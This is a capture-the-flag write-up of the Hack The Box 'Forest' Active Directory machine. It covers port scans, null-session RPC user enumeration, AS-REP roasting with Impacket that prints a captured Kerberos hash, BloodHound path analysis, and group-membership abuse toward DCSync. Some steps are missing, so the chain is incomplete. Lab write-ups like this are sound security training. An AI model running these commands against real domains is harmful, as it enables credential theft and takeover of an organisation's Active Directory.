Hey guys, here’s my write-up about Forest Box it was a great box and very realistic
started with enumerating users over RPC, attack Kerberos with AS-REP Roasting
and a privilege escalation is possible when our user is in Exchange Windows permissions security group
Recon
Nmap
Start with scanning all ports
nmap -p- 10.10.10.161 --min-rate=10000
then enumerate version
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-21 14:19 EET
Warning: 10.10.10.161 giving up on port because retransmission cap hit (10).
Nmap scan report for htb.local (10.10.10.161)
Host is up (0.30s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49703/tcp open unknown
49924/tcp open unknown
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-21 14:25 EET
Nmap scan report for htb.local (10.10.10.161)
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-21 12:36:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/21%Time=5F9028C8%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h30m36s, deviation: 4h02m32s, median: 10m34s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-10-21T05:38:46-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-10-21T12:38:45
|_ start_date: 2020-10-21T11:54:04
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 293.67 seconds
looks like we are dealing with a domain controller
DNS Enumeration
can resolve htb.local and forest.htb.local from this DNS server
dig any @10.10.10.161 htb.local
; <<>> DiG 9.16.2-Debian <<>> any @10.10.10.161 htb.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55034
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 3ccc9f26efdc3210 (echoed)
;; QUESTION SECTION:
;htb.local. IN ANY
;; ANSWER SECTION:
htb.local. 600 IN A 10.10.10.161
htb.local. 3600 IN NS forest.htb.local.
htb.local. 3600 IN SOA forest.htb.local. hostmaster.htb.local. 100 900 600 86400 3600
;; ADDITIONAL SECTION:
forest.htb.local. 3600 IN A 10.10.10.161
;; Query time: 208 msec
;; SERVER: 10.10.10.161#53(10.10.10.161)
;; WHEN: Wed Oct 21 18:38:38 EET 2020
;; MSG SIZE rcvd: 150
SMB Enumeration
smbmap -H 10.10.10.161
[+] Finding open SMB ....
[+] User SMB session establishd on 10.10.10.161...
[+] IP: 10.10.10.161:445 Name: 10.10.10.161
Disk Permissions
---- -----------
[!] Access Denied
I also tried smbclient but got nothing
smbclient -N -L //10.10.10.161
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
RPC Enumeration
Here, we can see MSRPC port 135 is open so we can enumerate information out of AD using rpcclient and null authentication
rpcclient -U "" -N 10.10.10.161 to get a list of users we useenumdomusers
technique against Kerberos that allows password hashes to be retrieved for users that do not require pre-authentication. If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC’d password and he can attempt to crack this ticket offline.
By default, Do Not Require Pre-Authentication is disabled for the domain user.
I have a list of accounts from my RPC enumeration above.
cat users
svc-alfresco
sebastien
lucinda
andy
mark
santi
Administrator
now we can use GetNPUsers.py from Impacket to try to get a hash for each user, and I find one for the svc-alfresco account:
GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/ -usersfile users
$krb5asrep$23$svc-alfresco@HTB:5b3dd5b04029f657ab282c0819f4db32$9d31baa165064b2f1bbdd08c710f1dff4f146a8fbb35d6ad96157388b6821845346cf135331baf023a08f42da56597dea93859534bcec0a4e2830ad03faf667d231bb6cedb8992462c16c9e048aef8bb55ab7c3c45d53068b60b6b1677795664476eab5b01525cd23cb793b38fe8c357bcd635e938a46b20c6c596c41141a027fddb86b7480aa4df7ed91d91dd6a6efc94f400d2d159d52e9dc32be28ff50b6dbf6cdc228bf3e841073ea644d526fcb08e1472bb796ac7fa831598b73f8509d9bc5f68c14c17879df8dfbbf035ec4553d279c336cf4dca3b52c747a966fb6036
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
e5e4e47a************************
Privesc to Administrator
Enumeration
so what is BloodHound:
BloodHound is a tool for visualizing an Active Directory environment as a graph. This representation then offers all the power of graph theory to unravel new attack paths.
It can be used on engagements to identify different attack paths in Active Directory (AD), this encompasses access control lists (ACLs), users, groups, trust relationships and unique AD objects. The tool can be leveraged by both blue and red teams to find different paths to targets. The subsections below explain the different and how to properly utilize the different ingestors
you can pull the data file to bloodhound or use upload button
In querries field you can request user, domain or group to see which is link with which.
for example svc-alfresco@htb.local right click on “shortest path to go here” and you will see domain user and group linked with svc-alfresco user.
I’ll click “Find Shorter Paths to Domain Admin”, and get the following graph:
Exchange and high privileges
Because my user is in Service Account, which is a member of Privileged IT Account, which is a member of Account Operators, it’s basically like my user is a member of Account Operators. And Account Operators has Generic All privilege on the Exchange Windows Permissions group.
in bloodhound we can click “Abuse Info” tab in the pop up that displays:
Grant DCSync Privileges
first we will add our user to "Exchange Windows Permissions" group
net group "Exchange Windows Permissions" svc-alfresco /add /domain
we will upload powerview and invoke it to complete our attack
*Evil-WinRM* PS C:\> net group 'Exchange Windows Permissions'
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
